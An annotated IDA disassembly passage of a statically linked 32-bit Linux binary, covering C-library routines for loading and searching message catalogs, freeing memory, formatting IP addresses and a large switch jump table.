		mov	[ebp+var_458], edx
		lea	ebx, [ebx+edx-1]
		jmp	short loc_0_805E35D
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805E358:				; CODE XREF: sub_0_805E110+1F3j
					; sub_0_805E110+218j
		mov	al, [esi]
		mov	[ebx], al
		inc	ebx

loc_0_805E35D:				; CODE XREF: sub_0_805E110+243j
		inc	esi
		cmp	byte ptr [esi],	0
		jnz	short loc_0_805E300

loc_0_805E363:				; CODE XREF: sub_0_805E110+1EBj
		mov	byte ptr [ebx],	0
		call	stat(1,&var_400,&var_440)
		add	esp, 0Ch
		test	eax, eax
		jz	loc_0_805E2A4
		mov	esi, [ebp+var_454]
		inc	esi

loc_0_805E38D:				; CODE XREF: sub_0_805E110+1D9j
		inc	[ebp+var_454]
		mov	eax, [ebp+var_454]
		cmp	byte ptr [eax],	0
		jnz	loc_0_805E2E0

loc_0_805E3A2:				; CODE XREF: sub_0_805E110+19Aj
					; sub_0_805E110+1C8j
		call	free(var_450)
		cmp	[ebp+var_448], 0
		jz	short loc_0_805E3C9
		call	free(var_448)

loc_0_805E3C9:				; CODE XREF: sub_0_805E110+2A8j
		cmp	[ebp+var_444], 0
		jz	loc_0_805E16E

loc_0_805E3D6:				; CODE XREF: sub_0_805E110+58j
		lea	ecx, [ebp+var_440]
		push	ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_444]
		push	ecx
		call	sub_0_805E640
		mov	edx, eax

loc_0_805E3EF:				; CODE XREF: sub_0_805E110+63j
		lea	esp, [ebp+var_464]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_805E110	endp


; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_805E3FC	proc near		; CODE XREF: sub_0_805E584+13p

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8	; char *
arg_4		= dword	ptr  0Ch;  int

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		cmp	[ebp+arg_0], 0FFFFFFFFh
		jz	short loc_0_805E42C
		cmp	[ebp+arg_0], 0
		jz	short loc_0_805E42C
		cmp	[ebp+arg_4], 0
		jle	short loc_0_805E42C
		xor	edi, edi
		mov	eax, [ebp+arg_4]
		dec	eax
		mov	edx, [ebp+arg_0]
		cmp	[edx+0Ch], eax
		jle	short loc_0_805E434
		mov	ecx, eax
		mov	esi, [ebp+arg_4]
		jmp	short loc_0_805E44C
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805E42C:				; CODE XREF: sub_0_805E3FC+Aj
					; sub_0_805E3FC+10j ...
		xor	eax, eax
		jmp	loc_0_805E4C2
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805E434:				; CODE XREF: sub_0_805E3FC+24j
		mov	edx, [ebp+arg_0]
		mov	esi, [edx+0Ch]
		mov	ecx, esi
		sub	ecx, edi
		mov	eax, ecx
		shr	eax, 1Fh
		add	eax, ecx
		mov	ecx, eax
		sar	ecx, 1

loc_0_805E44C:				; CODE XREF: sub_0_805E3FC+2Bj
					; sub_0_805E3FC+9Aj ...
		lea	eax, [ecx+ecx*2] ; eax=ecx*3
		lea	eax, [eax+eax*8] ; eax=eax*9  = ecx*27
		add	eax, ecx ; eax=ecx*28
		mov	ebx, eax
		mov	edx, [ebp+arg_0]
		add	ebx, [edx+10h]
		mov	edx, [ebp+arg_4]
		cmp	[ebx], edx
		jz	short loc_0_805E4B0
		jge	short loc_0_805E480
		lea	edi, [ecx+1]
		mov	eax, edx
		sub	eax, [ebx]
		lea	eax, [eax+ecx+1]
		cmp	esi, eax
		jle	short loc_0_805E476
		mov	esi, eax

loc_0_805E476:				; CODE XREF: sub_0_805E3FC+76j
		mov	ebx, 1
		jmp	short loc_0_805E487
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805E480:				; CODE XREF: sub_0_805E3FC+67j
		mov	esi, ecx
		mov	ebx, 0FFFFFFFFh

loc_0_805E487:				; CODE XREF: sub_0_805E3FC+7Fj
		cmp	edi, esi
		jge	short loc_0_805E42C
		mov	eax, esi
		sub	eax, edi
		cmp	eax, 1
		jnz	short loc_0_805E498
		add	ecx, ebx
		jmp	short loc_0_805E44C
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_805E498:				; CODE XREF: sub_0_805E3FC+96j
		mov	eax, esi
		sub	eax, edi
		mov	edx, eax
		shr	edx, 1Fh
		add	eax, edx
		sar	eax, 1
		imul	eax, ebx
		add	ecx, eax
		jmp	short loc_0_805E44C
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805E4B0:				; CODE XREF: sub_0_805E3FC+65j
		cmp	dword ptr [ebx+18h], 0
		jz	short loc_0_805E4C0
		push	ebx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_0_805E844

loc_0_805E4C0:				; CODE XREF: sub_0_805E3FC+B8j
		mov	eax, ebx

loc_0_805E4C2:				; CODE XREF: sub_0_805E3FC+32j
		lea	esp, [ebp+var_C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_805E3FC	endp


; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_805E4CC	proc near		; CODE XREF: sub_0_805E584+1Cp

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		cmp	[ebp+arg_0], 0
		jz	short loc_0_805E4FC
		mov	edx, [ebp+arg_0]
		cmp	dword ptr [edx+18h], 0
		jnz	short loc_0_805E4FC
		cmp	[ebp+arg_4], 0
		jle	short loc_0_805E4FC
		xor	edi, edi
		mov	eax, [ebp+arg_4]
		dec	eax
		mov	edx, [ebp+arg_0]
		cmp	[edx+14h], eax
		jle	short loc_0_805E500
		mov	ecx, eax
		mov	esi, [ebp+arg_4]
		jmp	short loc_0_805E518
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_805E4FC:				; CODE XREF: sub_0_805E4CC+Aj
					; sub_0_805E4CC+13j ...
		xor	eax, eax
		jmp	short loc_0_805E578
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_805E500:				; CODE XREF: sub_0_805E4CC+27j
		mov	edx, [ebp+arg_0]
		mov	esi, [edx+14h]
		mov	ecx, esi
		sub	ecx, edi
		mov	eax, ecx
		shr	eax, 1Fh
		add	eax, ecx
		mov	ecx, eax
		sar	ecx, 1
		lea	esi, [esi]

loc_0_805E518:				; CODE XREF: sub_0_805E4CC+2Ej
					; sub_0_805E4CC+92j ...
		lea	eax, [ecx+ecx*2]
		shl	eax, 2
		mov	edx, [ebp+arg_0]
		add	eax, [edx+8]
		mov	edx, [ebp+arg_4]
		cmp	[eax], edx
		jz	short loc_0_805E578
		jge	short loc_0_805E548
		lea	edi, [ecx+1]
		sub	edx, [eax]
		mov	eax, edx
		lea	eax, [eax+ecx+1]
		cmp	esi, eax
		jle	short loc_0_805E53E
		mov	esi, eax

loc_0_805E53E:				; CODE XREF: sub_0_805E4CC+6Ej
		mov	ebx, 1
		jmp	short loc_0_805E54F
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805E548:				; CODE XREF: sub_0_805E4CC+5Fj
		mov	esi, ecx
		mov	ebx, 0FFFFFFFFh

loc_0_805E54F:				; CODE XREF: sub_0_805E4CC+77j
		cmp	edi, esi
		jge	short loc_0_805E4FC
		mov	eax, esi
		sub	eax, edi
		cmp	eax, 1
		jnz	short loc_0_805E560
		add	ecx, ebx
		jmp	short loc_0_805E518
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_805E560:				; CODE XREF: sub_0_805E4CC+8Ej
		mov	eax, esi
		sub	eax, edi
		mov	edx, eax
		shr	edx, 1Fh
		add	eax, edx
		sar	eax, 1
		imul	eax, ebx
		add	ecx, eax
		jmp	short loc_0_805E518
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805E578:				; CODE XREF: sub_0_805E4CC+32j
					; sub_0_805E4CC+5Dj
		lea	esp, [ebp+var_C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_805E4CC	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_805E584	proc near		; CODE XREF: sub_0_804A9D8+2A7p
					; sub_0_804A9D8+2CDp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+arg_8]
		mov	ebx, [ebp+arg_C]
		call	sub_0_805E3FC(arg_0,arg_4)
		call	sub_0_805E4CC(eax,arg_8)
		mov	edx, ebx
		test	eax, eax
		jz	short loc_0_805E5AE
		mov	edx, [eax+4]

loc_0_805E5AE:				; CODE XREF: sub_0_805E584+25j
		mov	eax, edx
		mov	ebx, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_805E584	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	edi
		push	esi
		push	ebx
		mov	edi, [ebp+8]
		cmp	edi, 0FFFFFFFFh
		jz	short loc_0_805E5CD
		test	edi, edi
		jnz	short loc_0_805E5D4

loc_0_805E5CD:				; CODE XREF: .text:0805E5C7j
		mov	eax, 0FFFFFFFFh
		jmp	short loc_0_805E634
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_805E5D4:				; CODE XREF: .text:0805E5CBj
		cmp	dword ptr [edi], 1
		jz	short loc_0_805E5E9
		call	munmap([edi+4],[edi+8])

loc_0_805E5E9:				; CODE XREF: .text:0805E5D7j
		xor	esi, esi
		cmp	[edi+0Ch], esi
		jle	short loc_0_805E623
		mov	dword ptr [ebp-4], 0
		nop	

loc_0_805E5F8:				; CODE XREF: .text:0805E621j
		mov	ebx, [ebp-4]
		add	ebx, [edi+10h]
		cmp	dword ptr [ebx+18h], 0
		jnz	short loc_0_805E619
		call	free([ebx+0Ch])
		call	free([ebx+8])

loc_0_805E619:				; CODE XREF: .text:0805E602j
		add	dword ptr [ebp-4], 1Ch
		inc	esi
		cmp	[edi+0Ch], esi
		jg	short loc_0_805E5F8

loc_0_805E623:				; CODE XREF: .text:0805E5EEj
		call	free([edi+01h])
		call	free(edi)
		xor	eax, eax

loc_0_805E634:				; CODE XREF: .text:0805E5D2j
		lea	esp, [ebp-10h]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_805E640	proc near		; CODE XREF: sub_0_805E110+2D8p

var_10		= byte ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	edi
		push	esi
		push	ebx
		mov	edi, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		call	malloc(24)
		mov	esi, eax
		test	esi, esi
		jnz	short loc_0_805E66C
		mov	eax, 0FFFFFFFFh
		jmp	loc_0_805E838
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805E66C:				; CODE XREF: sub_0_805E640+1Dj
		mov	[esi], ebx
		call	open(edi,O_RDONLY)
		mov	[esi+4], eax
		test	eax, eax
		jge	short loc_0_805E688
		xor	eax, eax
		jmp	loc_0_805E838
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805E688:				; CODE XREF: sub_0_805E640+3Ej
		mov	ecx, [ebp+arg_8]
		call	mmap(0,[ecx+14h],1,1,[esi+4],0)
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_0_805E6C0
		call	close([esi+4])
		xor	eax, eax
		jmp	loc_0_805E838
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805E6C0:				; CODE XREF: sub_0_805E640+6Bj
		call	close([esi+4])
		cmp	dword ptr [esi+8], 1Bh
		jbe	loc_0_805E7F8
		mov	[esi+4], ebx
		call	strncmp(ebx,'*nazgul*',8)
		test	eax, eax
		jnz	loc_0_805E7F8
		mov	eax, [esi+4]
		cmp	dword ptr [eax+8], 1
		jz	short loc_0_805E71C
		push	1
		mov	eax, [eax+8]
		call	fprintf(unk_0_80787a4,'%s: %s is version %d we need %d. \n','Message Catalog System',edi,eax) ; 
		xor	eax, eax
		jmp	loc_0_805E838
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_805E71C:				; CODE XREF: sub_0_805E640+B8j
		mov	eax, [esi+4]
		cmp	dword ptr [eax+14h], 0
		jg	short loc_0_805E748
		mov	eax, [eax+14h]
		call	fprintf(unk_0_80787a4,'%s: %s had %d sets!\n','Message Catalog System', edi, eax)
		xor	eax, eax
		jmp	loc_0_805E838
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805E748:				; CODE XREF: sub_0_805E640+E3j
		mov	eax, [esi+4]
		mov	eax, [eax+14h]
		mov	[esi+0Ch], eax
		mov	eax, [esi+4]
		mov	eax, [eax+14h]
		lea	edx, [eax+eax*2]
		lea	edx, [edx+edx*8]
		call	malloc(eax+edx)
		mov	[esi+10h], eax
		test	eax, eax
		jnz	short loc_0_805E790

loc_0_805E76F:				; CODE XREF: sub_0_805E640+1B2j
		call	fprintf(unk_0_80787a4,'%s: no more memory.\n','Message Catalog System')
		mov	eax, 0FFFFFFFFh
		jmp	loc_0_805E838
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805E790:				; CODE XREF: sub_0_805E640+12Dj
		mov	eax, [esi+4]
		mov	edx, [eax+18h]
		xor	edi, edi
		cmp	[esi+0Ch], edi
		jle	loc_0_805E824
		mov	[ebp+var_4], 0

loc_0_805E7A8:				; CODE XREF: sub_0_805E640+1E2j
		cmp	[esi+8], edx
		jl	short loc_0_805E7F8
		mov	ebx, [ebp+var_4]
		add	ebx, [esi+10h]
		lea	eax, [edx+1Ch]
		cmp	[esi+8], eax
		jb	short loc_0_805E7F8
		call	memmove2(edx+[esi+4],ebx,28)
		cmp	dword ptr [ebx+18h], 0
		jz	short loc_0_805E7DC
		add	[ebp+var_4], 0FFFFFFE4h
		dec	edi
		jmp	short loc_0_805E817
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805E7DC:				; CODE XREF: sub_0_805E640+190j
		cmp	dword ptr [esi], 1
		jnz	short loc_0_805E810
		push	ebx
		push	esi
		call	sub_0_805E844
		add	esp, 8
		test	eax, eax
		jg	short loc_0_805E817
		cmp	eax, 0FFFFFFFFh
		jz	loc_0_805E76F

loc_0_805E7F8:				; CODE XREF: sub_0_805E640+90j
					; sub_0_805E640+ABj ...
		call	fprintf(unk_0_80787a4,'%s: corrupt file.\n','Message Catalog System')
		xor	eax, eax
		jmp	short loc_0_805E838
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_805E810:				; CODE XREF: sub_0_805E640+19Fj
		mov	dword ptr [ebx+18h], 0FFFFFFFFh

loc_0_805E817:				; CODE XREF: sub_0_805E640+197j
					; sub_0_805E640+1ADj
		mov	edx, [ebx+4]
		add	[ebp+var_4], 1Ch
		inc	edi
		cmp	[esi+0Ch], edi
		jg	short loc_0_805E7A8

loc_0_805E824:				; CODE XREF: sub_0_805E640+15Bj
		cmp	dword ptr [esi], 1
		jnz	short loc_0_805E836
		call	munmap([esi+4],[esi+8])
loc_0_805E836:				; CODE XREF: sub_0_805E640+1E7j
		mov	eax, esi

loc_0_805E838:				; CODE XREF: sub_0_805E640+24j
					; sub_0_805E640+42j ...
		lea	esp, [ebp+var_10]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_805E640	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_805E844	proc near		; CODE XREF: sub_0_805E3FC+BFp
					; sub_0_805E640+1A3p

var_10		= byte ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	edi
		push	esi
		push	ebx
		mov	edx, [ebp+arg_4]
		mov	edx, [edx+0Ch]
		mov	[ebp+var_4], edx
		mov	ecx, [ebp+arg_0]
		cmp	[ecx+8], edx
		jl	short loc_0_805E8DC
		mov	edx, [ebp+arg_4]
		call	malloc([edx+10h])
		mov	ecx, [ebp+arg_4]
		mov	[ecx+0Ch], eax
		test	eax, eax
		jz	short loc_0_805E8D5
		mov	eax, [ebp+var_4]
		mov	edx, [ebp+arg_4]
		add	eax, [edx+10h]
		mov	ecx, [ebp+arg_0]
		cmp	[ecx+8], eax
		jl	short loc_0_805E8DC
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+arg_0]
		call	memmove2(arg_0+[ecx+4],[edx+0Ch],[edx+10h])
		mov	edx, [ebp+arg_4]
		mov	edx, [edx+8]
		mov	[ebp+var_4], edx
		add	esp, 0Ch
		mov	ecx, [ebp+arg_0]
		cmp	[ecx+8], edx
		jl	short loc_0_805E8DC
		mov	edx, [ebp+arg_4]
		mov	eax, [edx+14h]
		lea	eax, [eax+eax*2]
		call	malloc(eax*4)
		mov	ecx, [ebp+arg_4]
		mov	[ecx+8], eax
		test	eax, eax
		jnz	short loc_0_805E8E0

loc_0_805E8D5:				; CODE XREF: sub_0_805E844+31j
		mov	eax, 0FFFFFFFFh
		jmp	short loc_0_805E948
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_805E8DC:				; CODE XREF: sub_0_805E844+18j
					; sub_0_805E844+42j ...
		xor	eax, eax
		jmp	short loc_0_805E948
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_805E8E0:				; CODE XREF: sub_0_805E844+8Fj
		xor	edi, edi
		mov	edx, [ebp+arg_4]
		cmp	[edx+14h], edi
		jle	short loc_0_805E939
		xor	esi, esi

loc_0_805E8EC:				; CODE XREF: sub_0_805E844+F3j
		mov	ebx, esi
		mov	ecx, [ebp+arg_4]
		add	ebx, [ecx+8]
		mov	eax, [ebp+var_4]
		add	eax, 0Ch
		mov	edx, [ebp+arg_0]
		cmp	[edx+8], eax
		jb	short loc_0_805E8DC
		mov	eax, [ebp+var_4]
		add	eax, [edx+4]
		add	eax, esi

		call	memmove2(eax,ebx,12)
		cmp	dword ptr [ebx+8], 0
		jz	short loc_0_805E924
		add	esi, 0FFFFFFF4h
		dec	edi
		jmp	short loc_0_805E92D
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805E924:				; CODE XREF: sub_0_805E844+D6j
		mov	ecx, [ebp+arg_4]
		mov	ecx, [ecx+0Ch]
		add	[ebx+4], ecx

loc_0_805E92D:				; CODE XREF: sub_0_805E844+DCj
		add	esi, 0Ch
		inc	edi
		mov	edx, [ebp+arg_4]
		cmp	[edx+14h], edi
		jg	short loc_0_805E8EC

loc_0_805E939:				; CODE XREF: sub_0_805E844+A4j
		mov	ecx, [ebp+arg_4]
		mov	dword ptr [ecx+18h], 0
		mov	eax, 1

loc_0_805E948:				; CODE XREF: sub_0_805E844+96j
					; sub_0_805E844+9Aj
		lea	esp, [ebp+var_10]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_805E844	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_805E954	proc near		; CODE XREF: sub_0_804A9D8+18p
					; sub_0_804B800+B8p ...
		push	ebp
		mov	ebp, esp
		cmp	dword_0_8078F9C, 0
		jnz	short loc_0_805E97D
		push	offset unk_0_8069490
		push	5
		call	sub_0_8062D4C
		push	0
		push	offset aLibc	; "libc"
		call	sub_0_805E110
		mov	dword_0_8078F9C, eax

loc_0_805E97D:				; CODE XREF: sub_0_805E954+Aj
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_805E954	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_805E984	proc near		; CODE XREF: sub_0_804E638+35p
					; res_send()+184p ...

arg_0		= byte ptr  8
arg_1		= byte ptr  9
arg_2		= byte ptr  0Ah
arg_3		= byte ptr  0Bh

		push	ebp
		mov	ebp, esp
		call	snprintf(unk_0_807e39c,18,'%d.%d.%d.%d',arg_0,arg_1,arg_2,arg_3)
		mov	eax, offset unk_0_807E39C
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_805E984	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_805E9B8	proc near		; CODE XREF: sub_0_805F7E4+753p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		lea	eax, [edx-5]	; switch 166 cases 
		cmp	eax, 0A5h
		ja	loc_0_805EE88	; default
		jmp	ds:off_0_805E9D4[eax*4]	; switch jump
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4
off_0_805E9D4	dd offset loc_0_805EC6C, offset	loc_0_805EE88, offset loc_0_805EC78
					; DATA XREF: sub_0_805E9B8+14r
		dd offset loc_0_805EE88, offset	loc_0_805EC84, offset loc_0_805EE88 ; jump table for switch statement
		dd offset loc_0_805EC90, offset	loc_0_805EE88, offset loc_0_805EC9C
		dd offset loc_0_805EE88, offset	loc_0_805ECA8, offset loc_0_805EE88
		dd offset loc_0_805ECB4, offset	loc_0_805EE88, offset loc_0_805ECC0
		dd offset loc_0_805ECCC, offset	loc_0_805ECD8, offset loc_0_805EE88
		dd offset loc_0_805ECE4, offset	loc_0_805EE88, offset loc_0_805ECF0
		dd offset loc_0_805EE88, offset	loc_0_805EE88, offset loc_0_805EE88
		dd offset loc_0_805EE88, offset	loc_0_805EE88, offset loc_0_805EE88
		dd offset loc_0_805EE88, offset	loc_0_805EE88, offset loc_0_805EE88
		dd offset loc_0_805EE88, offset	loc_0_805EE88, offset loc_0_805ECFC
		dd offset loc_0_805EE88, offset	loc_0_805ED08, offset loc_0_805EE88
		dd offset loc_0_805EE88, offset	loc_0_805ED14, offset loc_0_805ED20
		dd offset loc_0_805EE88, offset	loc_0_805EE88, offset loc_0_805EE88
		dd offset loc_0_805EE88, offset	loc_0_805EE88, offset loc_0_805EE88
		dd offset loc_0_805EE88, offset	loc_0_805EE88, offset loc_0_805EE88
		dd offset loc_0_805ED2C, offset	loc_0_805EE88, offset loc_0_805EE88
		dd offset loc_0_805EE88, offset	loc_0_805ED38, offset loc_0_805EE88
		dd offset loc_0_805ED44, offset	loc_0_805EE88, offset loc_0_805EE88
		dd offset loc_0_805EE88, offset	loc_0_805EE88, offset loc_0_805EE88
		dd offset loc_0_805EE88, offset	loc_0_805EE88, offset loc_0_805ED50
		dd offset loc_0_805ED5C, offset	loc_0_805ED68, offset loc_0_805EE88
		dd offset loc_0_805EE88, offset	loc_0_805EE88, offset loc_0_805EE88
		dd offset loc_0_805EE88, offset	loc_0_805EE88, offset loc_0_805EE88
		dd offset loc_0_805EC6C, offset	loc_0_805EE88, offset loc_0_805ED74
		dd offset loc_0_805EE88, offset	loc_0_805EE88, offset loc_0_805EE88
		dd offset loc_0_805EE88, offset	loc_0_805EE88, offset loc_0_805EE88
		dd offset loc_0_805EE88, offset	loc_0_805ED80, offset loc_0_805EE88
		dd offset loc_0_805EE88, offset	loc_0_805EE88, offset loc_0_805EE88
		dd offset loc_0_805EE88, offset	loc_0_805EE88, offset loc_0_805EE88
		dd offset loc_0_805ED8C, offset	loc_0_805EE88, offset loc_0_805EE88
		dd offset loc_0_805EE88, offset	loc_0_805EE88, offset loc_0_805ED98
		dd offset loc_0_805EDA4, offset	loc_0_805EDB0, offset loc_0_805EDBC
		dd offset loc_0_805EDC8, offset	loc_0_805EDD4, offset loc_0_805EE88
		dd offset loc_0_805EE88, offset	loc_0_805EE88, offset loc_0_805EDE0
		dd offset loc_0_805EE88, offset	loc_0_805EDEC, offset loc_0_805EE88
		dd offset loc_0_805EDF8, offset	loc_0_805EE88, offset loc_0_805EE04
		dd offset loc_0_805EE88, offset	loc_0_805EE10, offset loc_0_805EE88
		dd offset loc_0_805EE1C, offset	loc_0_805EE88, offset loc_0_805EE28
		dd offset loc_0_805EE88, offset	loc_0_805EE34, offset loc_0_805EE88
		dd offset loc_0_805EE88, offset	loc_0_805EE88, offset loc_0_805EE88
		dd offset loc_0_805EE88, offset	loc_0_805EE88, offset loc_0_805EE88
		dd offset loc_0_805EE88, offset	loc_0_805EE88, offset loc_0_805EE40
		dd offset loc_0_805EE88, offset	loc_0_805EE88, offset loc_0_805EE4C
		dd offset loc_0_805EE88, offset	loc_0_805EE88, offset loc_0_805EE88
		dd offset loc_0_805EE88, offset	loc_0_805EE88, offset loc_0_805EE88
		dd offset loc_0_805EE88, offset	loc_0_805EE58, offset loc_0_805EE88
		dd offset loc_0_805EE88, offset	loc_0_805EE88, offset loc_0_805EE88
		dd offset loc_0_805EE88, offset	loc_0_805EE88, offset loc_0_805EE88
		dd offset loc_0_805EE88, offset	loc_0_805EE88, offset loc_0_805EE88
		dd offset loc_0_805EE88, offset	loc_0_805EE88, offset loc_0_805EE88
		dd offset loc_0_805EE88, offset	loc_0_805EE88, offset loc_0_805EE88
		dd offset loc_0_805EE64, offset	loc_0_805EE70, offset loc_0_805EE88
		dd offset loc_0_805EE88, offset	loc_0_805EE88, offset loc_0_805EE88
		dd offset loc_0_805EE88, offset	loc_0_805EE88, offset loc_0_805EE88
		dd offset loc_0_805EE7C
